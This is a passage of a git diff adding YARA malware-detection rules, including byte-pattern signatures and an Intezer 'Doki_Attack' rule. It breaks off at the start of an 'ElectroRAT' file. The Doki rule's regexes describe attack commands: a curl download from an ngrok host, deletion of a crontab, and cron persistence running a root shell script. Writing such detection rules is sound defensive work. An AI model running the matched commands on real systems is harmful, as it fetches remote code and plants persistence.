+		$4727761_55 = { 6A ?? E8 ?? ?? ?? ?? 8D ?? ?? 5? 6A ?? 5? 68 ?? ?? ?? ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? DB ?? ?? D8 ?? ?? ?? ?? ?? DB ?? ?? 9B DB ?? ?? D8 ?? ?? ?? ?? ?? 9B DF ?? 9E 77 }
+		$4644700_55 = { 5? 8B ?? 83 ?? ?? 89 ?? ?? 89 ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 0F 87 }
+		$4587092_54 = { 6A ?? 8B ?? ?? 5? 8B ?? ?? 5? 8B ?? 33 ?? 8B ?? E8 ?? ?? ?? ?? 85 ?? 0F 94 ?? ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 89 ?? 0F B6 ?? ?? 5? 5? 5? 8B ?? 5? C2 }
+		$4757929_54 = { B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 4? 8D ?? ?? BA ?? ?? ?? ?? 0F B6 ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? 8B ?? ?? E8 ?? ?? ?? ?? 4? 75 }
+		$4620147_54 = { 8B ?? ?? 8B ?? ?? D3 ?? 8B ?? ?? 0F B6 ?? ?? ?? 33 ?? 23 ?? ?? 89 ?? ?? 8B ?? ?? 66 ?? ?? ?? 8B ?? ?? 23 ?? 8B ?? ?? 66 ?? ?? ?? 8B ?? ?? 8B ?? ?? 66 ?? ?? ?? 4? }
+		$4746096_54 = { 6A ?? 6A ?? 8D ?? ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 0F B7 ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 }
+		$4719222_53 = { 66 ?? ?? ?? ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? 0F B7 ?? 5? E8 ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B ?? 5? E8 ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 4? 75 }
+		$4669118_53 = { 8B ?? ?? ?? 8B ?? ?? 8B ?? 03 ?? 05 ?? ?? ?? ?? 0F B7 ?? 03 ?? 03 ?? 03 ?? 8D ?? ?? 03 ?? 8B ?? ?? 03 ?? ?? 03 ?? ?? 8B ?? ?? 9? E8 ?? ?? ?? ?? 4? 66 ?? ?? 75 }
+		$4620093_53 = { 5? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 89 ?? ?? 89 ?? ?? 8B ?? ?? 33 ?? 83 ?? ?? 8A ?? 89 ?? ?? 8B ?? ?? 8B ?? ?? D3 ?? 0F B6 ?? ?? 33 ?? 23 ?? ?? 89 ?? ?? 33 ?? EB }
+		$4745720_53 = { C6 ?? ?? ?? ?? ?? ?? 6A ?? 6A ?? 8D ?? ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 80 B? ?? ?? ?? ?? ?? 0F 85 }
+		$4601957_51 = { 8D ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 5? 8D ?? ?? 5? 5? 8B ?? ?? 5? 8B ?? FF 5? ?? 89 ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? F6 ?? ?? ?? 0F 85 }
+		$4737855_51 = { 5? 5? 5? 5? 89 ?? ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? FF 5? ?? 4? 85 ?? 0F 8C }
+		$4667275_51 = { 5? 5? 5? 89 ?? ?? 89 ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 84 ?? 0F 84 }
+		$4654558_50 = { FF 3? FF 7? ?? 68 ?? ?? ?? ?? FF 7? ?? 68 ?? ?? ?? ?? FF 7? ?? 68 ?? ?? ?? ?? FF 7? ?? 68 ?? ?? ?? ?? 8B ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 4? 4? 0F 85 }
+		$4752877_50 = { 6A ?? 8D ?? ?? ?? ?? ?? 5? 8B ?? ?? 8B ?? ?? 5? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 8B ?? ?? 8B ?? ?? 5? E8 ?? ?? ?? ?? 4? 0F 84 }
+		$4783402_49 = { 6A ?? A1 ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 33 ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$4743386_48 = { 8B ?? ?? 89 ?? ?? 0F B7 ?? ?? 66 ?? ?? ?? 0F B7 ?? ?? 66 ?? ?? ?? 0F B7 ?? ?? F7 ?? ?? 03 ?? 89 ?? ?? 0F B7 ?? ?? 03 ?? 66 ?? ?? ?? 83 ?? ?? 75 }
+		$4584981_48 = { 8D ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 84 }
+		$4658873_48 = { 8D ?? ?? 5? 8D ?? ?? 5? 8D ?? ?? 5? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 6A ?? 68 ?? ?? ?? ?? 8B ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? 4? 85 ?? 0F 8C }
+		$4599604_47 = { 8B ?? ?? FF 4? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? 6A ?? 6A ?? 8B ?? ?? 5? 8B ?? FF 5? ?? 8B ?? 85 ?? 0F 85 }
+		$4774585_47 = { 8D ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? 8B ?? E8 ?? ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? 66 ?? ?? ?? 66 ?? ?? ?? 0F B7 ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 75 }
+		$4716386_47 = { 8D ?? ?? ?? ?? ?? 33 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 8E }
+		$4758134_46 = { 8B ?? 99 89 ?? ?? 89 ?? ?? 0F B6 ?? ?? ?? ?? ?? 5? 8D ?? ?? 5? 33 ?? 8B ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 85 ?? 74 }
+		$4773731_45 = { 8B ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 8B ?? ?? 5? E8 ?? ?? ?? ?? 0F B6 ?? 8B ?? 03 ?? 03 ?? 8D ?? ?? 83 ?? ?? 4? 8B ?? 8B ?? ?? ?? 3B ?? 76 }
+		$4595254_45 = { 8D ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$4744937_45 = { 66 ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? 0F B7 ?? 5? E8 ?? ?? ?? ?? 66 ?? ?? ?? A1 ?? ?? ?? ?? 8B ?? 5? E8 ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? ?? 75 }
+		$4770194_45 = { 8B ?? ?? 5? 8B ?? ?? C1 ?? ?? 0F B7 ?? 89 ?? ?? C6 ?? ?? ?? 0F B7 ?? ?? 89 ?? ?? C6 ?? ?? ?? 8D ?? ?? B9 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 }
+		$4719310_44 = { 6A ?? 8D ?? ?? ?? ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 4? 0F 84 }
+		$4642937_44 = { 8D ?? ?? 8B ?? E8 ?? ?? ?? ?? 8D ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 0F 8E }
+		$4743040_44 = { 66 ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? 0F B7 ?? 5? E8 ?? ?? ?? ?? 66 ?? ?? ?? A1 ?? ?? ?? ?? 8B ?? 5? E8 ?? ?? ?? ?? 8B ?? 89 ?? ?? 4? 75 }
+		$4605590_44 = { C1 ?? ?? 0F B6 ?? ?? ?? ?? ?? ?? 88 ?? 4? 0F B6 ?? 8B ?? ?? ?? ?? ?? ?? 03 ?? 8B ?? ?? ?? 0F B6 ?? ?? 03 ?? ?? ?? ?? ?? ?? 85 ?? 79 }
+		$4744889_44 = { 8D ?? ?? 33 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? A1 ?? ?? ?? ?? 83 ?? ?? 0F 84 }
+		$4605678_44 = { C1 ?? ?? 0F B6 ?? ?? ?? ?? ?? ?? 88 ?? 4? FF 4? ?? ?? 8B ?? ?? ?? 0F B6 ?? 8B ?? ?? ?? 0F B6 ?? 8B ?? ?? ?? ?? ?? ?? 03 ?? 85 ?? 79 }
+		$4605368_44 = { 5? 5? 5? 5? 83 ?? ?? 89 ?? ?? ?? 89 ?? ?? 8B ?? 8B ?? ?? 89 ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? 8B ?? FF 5? ?? 4? 85 ?? 0F 8C }
+		$4684785_43 = { 8D ?? ?? ?? ?? ?? 5? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 85 }
+		$4724608_43 = { 5? 8B ?? 33 ?? 5? 5? 5? 5? 89 ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 8B ?? ?? 0F B6 ?? 3C ?? 74 }
+		$4715223_43 = { A1 ?? ?? ?? ?? 8B ?? 5? A1 ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 5? A1 ?? ?? ?? ?? 0F B7 ?? 5? 8B ?? ?? 5? A1 ?? ?? ?? ?? 8B ?? FF D? }
+		$4773684_43 = { 5? 5? 5? 5? 83 ?? ?? 89 ?? ?? ?? 8B ?? 89 ?? ?? 33 ?? 89 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 8B ?? ?? 5? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$4585033_42 = { 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 8B ?? ?? 5? E8 ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 84 }
+		$4606121_41 = { C1 ?? ?? 0F B6 ?? ?? ?? ?? ?? ?? 88 ?? 4? 0F B6 ?? ?? 8B ?? ?? ?? ?? ?? ?? 03 ?? 0F B6 ?? ?? 03 ?? ?? ?? ?? ?? ?? 85 ?? 79 }
+		$4755008_41 = { A1 ?? ?? ?? ?? F7 ?? B9 ?? ?? ?? ?? 99 F7 ?? 8B ?? A1 ?? ?? ?? ?? F7 ?? BB ?? ?? ?? ?? 99 F7 ?? 6A ?? 8D ?? ?? 9? 87 ?? E8 }
+		$4776478_41 = { 68 ?? ?? ?? ?? 6A ?? 5? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 5? 5? E8 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? FF 4? ?? FF 4? ?? 0F 85 }
+		$4585314_40 = { 0F B6 ?? C1 ?? ?? 0F B6 ?? ?? ?? ?? ?? 88 ?? 0F B6 ?? 80 E? ?? 0F B6 ?? 0F B6 ?? ?? ?? ?? ?? 88 ?? ?? 83 ?? ?? 4? 4? 75 }
+		$4605478_40 = { C1 ?? ?? 03 ?? 0F AF ?? 03 ?? 89 ?? ?? ?? 8B ?? ?? ?? 8B ?? FF 5? ?? 8B ?? 8B ?? ?? ?? 8B ?? FF 5? ?? 0F AF ?? 85 ?? 79 }
+		$4599047_40 = { 8D ?? ?? E8 ?? ?? ?? ?? 5? A1 ?? ?? ?? ?? 5? 6A ?? 6A ?? A1 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? F7 ?? ?? ?? ?? ?? 0F 85 }
+		$4600129_39 = { 8D ?? ?? E8 ?? ?? ?? ?? 5? A1 ?? ?? ?? ?? 5? 6A ?? 6A ?? A1 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 89 ?? ?? F6 ?? ?? ?? 0F 85 }
+		$4610292_39 = { 5? 8B ?? 83 ?? ?? 5? 5? 5? 8D ?? ?? 8B ?? ?? 8B ?? 5? E8 ?? ?? ?? ?? 89 ?? 8B ?? ?? 8B ?? 0F B7 ?? ?? 4? 85 ?? 0F 8C }
+		$4646839_39 = { 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 8D ?? ?? 5? 68 ?? ?? ?? ?? 8B ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$4599004_39 = { 8D ?? ?? E8 ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? 6A ?? 6A ?? A1 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? F7 ?? ?? ?? ?? ?? 0F 85 }
+		$4592917_39 = { 8B ?? 0F B6 ?? 88 ?? ?? 8B ?? ?? ?? ?? ?? ?? 89 ?? 0F B6 ?? ?? 89 ?? ?? ?? ?? ?? ?? 4? 83 ?? ?? 81 F? ?? ?? ?? ?? 75 }
+		$4783297_39 = { E8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 85 }
+		$4719666_39 = { BA ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 4? 0F 84 }
+		$4606076_38 = { C1 ?? ?? 0F B6 ?? ?? ?? ?? ?? ?? 88 ?? 4? 0F B6 ?? ?? 8B ?? ?? ?? 0F B6 ?? ?? 8B ?? ?? ?? ?? ?? ?? 03 ?? 85 ?? 79 }
+		$4715285_38 = { 8B ?? ?? 8B ?? FF 1? 5? 5? 8B ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? A1 ?? ?? ?? ?? 83 ?? ?? 0F 84 }
+		$4731577_38 = { 6A ?? 8D ?? ?? ?? ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 4? 0F 84 }
+		$4756258_38 = { 6A ?? 8D ?? ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 4? 0F 84 }
+		$4745611_38 = { 6A ?? 0F B6 ?? ?? ?? ?? ?? 83 ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? 4? 85 ?? 0F 8C }
+		$4768284_37 = { 5? 8B ?? 83 ?? ?? 5? 5? 33 ?? 89 ?? ?? 8B ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? DB ?? ?? DD ?? ?? 9B 83 }
+		$4604848_36 = { 8D ?? ?? 5? 8D ?? ?? 8D ?? ?? 8B ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? A9 ?? ?? ?? ?? 0F 94 ?? F6 ?? 1B ?? 85 ?? 74 }
+		$4616187_36 = { 5? 5? 5? 8B ?? 89 ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 83 ?? ?? ?? 0F 84 }
+		$4642079_36 = { FF 7? ?? FF 7? ?? FF 7? ?? FF 7? ?? FF 7? ?? 8D ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? F7 ?? ?? ?? ?? ?? 0F 8E }
+		$4750339_35 = { 6A ?? 8D ?? ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 6A ?? 6A ?? 8D ?? ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 4? 0F 84 }
+		$4757210_35 = { 8D ?? ?? E8 ?? ?? ?? ?? 6A ?? 8D ?? ?? 5? 6A ?? 6A ?? 6A ?? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? ?? 0F 86 }
+		$4600719_34 = { 68 ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 5? 8B ?? ?? 8B ?? ?? 5? 8B ?? FF 5? ?? 8B ?? F7 ?? ?? ?? ?? ?? 0F 85 }
+		$4784373_34 = { 8D ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 85 }
+		$4668452_33 = { 5? 8B ?? 6A ?? 6A ?? 6A ?? 5? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? E8 ?? ?? ?? ?? 84 ?? 0F 85 }
+		$4599091_33 = { 8D ?? ?? E8 ?? ?? ?? ?? 5? A1 ?? ?? ?? ?? 5? 8B ?? ?? 5? 8B ?? FF 1? 8B ?? F7 ?? ?? ?? ?? ?? 0F 85 }
+		$4601350_33 = { 8D ?? ?? ?? ?? ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? 5? 6A ?? 8B ?? ?? 5? 8B ?? FF 5? ?? 8B ?? 85 ?? 0F 85 }
+		$4751565_32 = { 6A ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 8E }
+		$4605641_31 = { C1 ?? ?? 0F B6 ?? ?? ?? ?? ?? ?? 88 ?? 4? 8B ?? ?? ?? 0F B6 ?? 03 ?? ?? ?? ?? ?? ?? 85 ?? 79 }
+		$4614908_29 = { 5? 5? 5? 81 C? ?? ?? ?? ?? 8B ?? 8D ?? ?? B9 ?? ?? ?? ?? F3 ?? A4 8B ?? 80 7? ?? ?? 75 }
+		$4720783_28 = { 5? 5? 5? 5? 8B ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 33 ?? 83 ?? ?? ?? 0F 85 }
+		$4606042_28 = { C1 ?? ?? 0F B6 ?? ?? ?? ?? ?? ?? 88 ?? 4? 0F B6 ?? ?? 03 ?? ?? ?? ?? ?? ?? 85 ?? 79 }
+		$4671848_28 = { FF 7? ?? FF 7? ?? 68 ?? ?? ?? ?? 8D ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 4? 4? 0F 85 }
+		$4746067_28 = { 8D ?? ?? ?? ?? ?? 33 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? 3C ?? 75 }
+		$4682207_28 = { 8D ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 83 ?? ?? 0F 84 }
+		$4599655_26 = { 6A ?? 8D ?? ?? 5? 68 ?? ?? ?? ?? 8B ?? ?? 5? 8B ?? FF 5? ?? 8B ?? 85 ?? 0F 85 }
+		$4605557_26 = { 8B ?? ?? ?? 0F B6 ?? 8B ?? ?? ?? 0F B6 ?? 8B ?? ?? ?? ?? ?? ?? 03 ?? 85 ?? 79 }
+		$4746037_26 = { 6A ?? 6A ?? 8D ?? ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 80 B? ?? ?? ?? ?? ?? 0F 85 }
+		$4605817_26 = { C1 ?? ?? 0F B6 ?? ?? ?? ?? ?? ?? 88 ?? 4? FF 4? ?? ?? 4? FF 4? ?? ?? 4? 0F 85 }
+		$4730435_26 = { 5? 5? 5? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 80 3? ?? ?? ?? ?? ?? 0F 84 }
+		$4757180_26 = { C6 ?? ?? ?? 8D ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 81 7? ?? ?? ?? ?? ?? 0F 85 }
+		$4503819_26 = { B7 ?? 00 ?? ?? 00 ?? 6C DD ?? ?? 01 ?? 00 ?? 01 ?? 00 ?? 00 ?? 00 ?? 01 ?? 03 }
+		$4669462_26 = { 8B ?? ?? C7 ?? ?? ?? ?? ?? 8B ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$4584952_25 = { 5? 8B ?? 83 ?? ?? 5? 5? 5? 89 ?? ?? 8B ?? 8B ?? E8 ?? ?? ?? ?? 84 ?? 0F 84 }
+		$4503756_25 = { 07 08 ?? ?? ?? 64 ?? ?? ?? ?? ?? ?? ?? ?? B0 ?? 4? 00 ?? ?? 08 ?? ?? 6E 74 }
+		$4614638_25 = { 6A ?? 8B ?? ?? 5? 8B ?? ?? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$4763381_25 = { C6 ?? ?? ?? 8D ?? ?? 5? 6A ?? E8 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$4606744_24 = { 5? BE ?? ?? ?? ?? 8D ?? ?? A5 A4 5? 8D ?? ?? 8D ?? ?? B9 ?? ?? ?? ?? E8 }
+		$4723555_24 = { 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 }
+		$4602113_24 = { 8B ?? ?? 8B ?? 8B ?? ?? F7 ?? ?? 8D ?? ?? D1 ?? 8B ?? ?? 3B ?? ?? 0F 85 }
+		$4605964_23 = { 0F B6 ?? 8B ?? ?? ?? 0F B6 ?? ?? 8B ?? ?? ?? ?? ?? ?? 03 ?? 85 ?? 79 }
+		$4723583_23 = { 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 }
+		$4745014_23 = { 6A ?? 8D ?? ?? 5? A1 ?? ?? ?? ?? 8B ?? 5? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$4744112_23 = { FC E8 ?? ?? ?? ?? 8B ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 85 ?? 74 }
+		$4609331_23 = { 0F B7 ?? C1 ?? ?? 0F B7 ?? 66 ?? ?? ?? 0F B7 ?? 89 ?? ?? 83 ?? ?? 75 }
+		$4585247_23 = { 8D ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8D ?? ?? 8B ?? A5 A5 A5 A5 }
+		$4603748_22 = { 5? 8B ?? 5? 5? 5? 5? 8B ?? 89 ?? ?? 8B ?? 8B ?? ?? 3B ?? ?? 0F 85 }
+		$4719198_20 = { 6A ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 84 }
+		$4599793_20 = { 8B ?? ?? 0F B6 ?? ?? 83 ?? ?? 8B ?? ?? 3B ?? ?? 0F 94 ?? EB }
+		$4763546_20 = { E8 ?? ?? ?? ?? 85 ?? 0F 94 ?? ?? 33 ?? 5? 5? 5? 64 ?? ?? EB }
+		$4606203_20 = { C1 ?? ?? 0F B6 ?? ?? ?? ?? ?? ?? 88 ?? 4? 83 ?? ?? 4? 0F 85 }
+		$4599496_20 = { 9? 68 ?? ?? ?? ?? CE 11 ?? ?? ?? ?? ?? 0B ?? ?? ?? ?? ?? B9 }
+		$4758186_19 = { 8B ?? 99 89 ?? ?? 89 ?? ?? 8B ?? ?? 8B ?? ?? 3B ?? ?? 75 }
+		$4770633_19 = { DF ?? ?? 83 ?? ?? DB ?? ?? 9B 8B ?? ?? E8 ?? ?? ?? ?? EB }
+		$4733483_19 = { 8B ?? ?? 0F B6 ?? ?? ?? 0F B6 ?? 83 ?? ?? 83 ?? ?? 0F 87 }
+		$4741824_18 = { 8B ?? ?? 8B ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 85 }
+		$4722045_18 = { 8D ?? ?? 0F B7 ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 85 ?? 74 }
+		$4743085_17 = { A1 ?? ?? ?? ?? 8B ?? 5? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$4642511_17 = { 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$4724660_17 = { 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 0F B6 ?? 3C ?? 75 }
+		$4669441_17 = { 8D ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 84 }
+		$4747579_17 = { A1 ?? ?? ?? ?? 8B ?? FF 5? ?? 8B ?? 4? 85 ?? 0F 8C }
+		$4607444_17 = { 09 ?? ?? ?? 5? 65 ?? ?? ?? 6D 8B ?? 5? 5? 84 ?? 74 }
+		$4665108_16 = { 8B ?? ?? B9 ?? ?? ?? ?? 99 F7 ?? 4? 85 ?? 0F 8C }
+		$4719478_16 = { 8B ?? ?? 8B ?? ?? 8B ?? FF 5? ?? 4? 85 ?? 0F 8C }
+		$4749018_15 = { A1 ?? ?? ?? ?? 8B ?? FF 5? ?? 4? 85 ?? 0F 8C }
+		$4693995_15 = { 8B ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 85 }
+		$4665988_15 = { 8B ?? ?? B9 ?? ?? ?? ?? 99 F7 ?? 4? 85 ?? 7C }
+		$4503881_14 = { B7 ?? 00 ?? ?? 00 ?? 6C DD ?? ?? 01 ?? 00 }
+		$4503896_14 = { 03 ?? 00 ?? 00 ?? 00 ?? 03 ?? 06 4? 6F 74 }
+		$4669318_14 = { 33 ?? 89 ?? ?? 8B ?? 66 ?? ?? ?? ?? 0F 85 }
+		$4770653_14 = { DF ?? ?? 83 ?? ?? DB ?? ?? 9B 8B ?? ?? E8 }
+		$4768355_14 = { DD ?? ?? D8 ?? ?? ?? ?? ?? DD ?? ?? 9B EB }
+		$4605016_14 = { 5? 5? 5? 8B ?? 80 B? ?? ?? ?? ?? ?? 0F 85 }
+		$4669336_13 = { 8B ?? 03 ?? ?? 81 3? ?? ?? ?? ?? 0F 85 }
+		$4728069_13 = { 8B ?? ?? 0F B6 ?? ?? 88 ?? 4? 4? 4? 75 }
+		$4595238_12 = { 8B ?? ?? ?? ?? ?? 80 7? ?? ?? 0F 84 }
+		$4746954_12 = { 6A ?? 5? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+
+	condition:
+		150 of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Intezer/Doki_Attack.yar b/yara-mikesxrs/Intezer/Doki_Attack.yar
new file mode 100644
index 0000000..df26c55
--- /dev/null
+++ b/yara-mikesxrs/Intezer/Doki_Attack.yar
@@ -0,0 +1,17 @@
+rule Doki_Attack
+{
+	meta:
+		copyright = "Intezer Labs"
+		author = "Intezer Labs"
+		reference = "https://www.intezer.com"
+        
+    strings:
+    
+        $a1 = /curl --retry 3 -m 60 -o \/tmp\w{6}\/tmp\/tmp.{37}.*\\{3}\"http:\/{2}.*\.ngrok\.io[\s\S]*\\{3}\";/ nocase
+        $a2 = /rm -rf \/tmp\w{6}\/etc\/crontab;/ nocase
+        $s1 = /echo \\{3}\"(\*\s){4}\* root sh \/tmp\/tmp.*\\{3}\" \\{2}u003e\/tmp\w{6}\/etc\/cron.d\/1m;/ nocase
+        $s2 = /echo \\{3}\"(\*\s){4}\* root sh \/tmp\/tmp\w*\\{3}\" \\{2}u003e\/tmp\w{6}\/etc\/crontab;/ nocase
+        $s3 = /chroot \/tmp\w{6} sh -c \\{3}\"cron \|\| crond/ nocase
+    condition:
+       all of them
+}
diff --git a/yara-mikesxrs/Intezer/ElectroRAT b/yara-mikesxrs/Intezer/ElectroRAT
new file mode 100644
index 0000000..77de37d
--- /dev/null
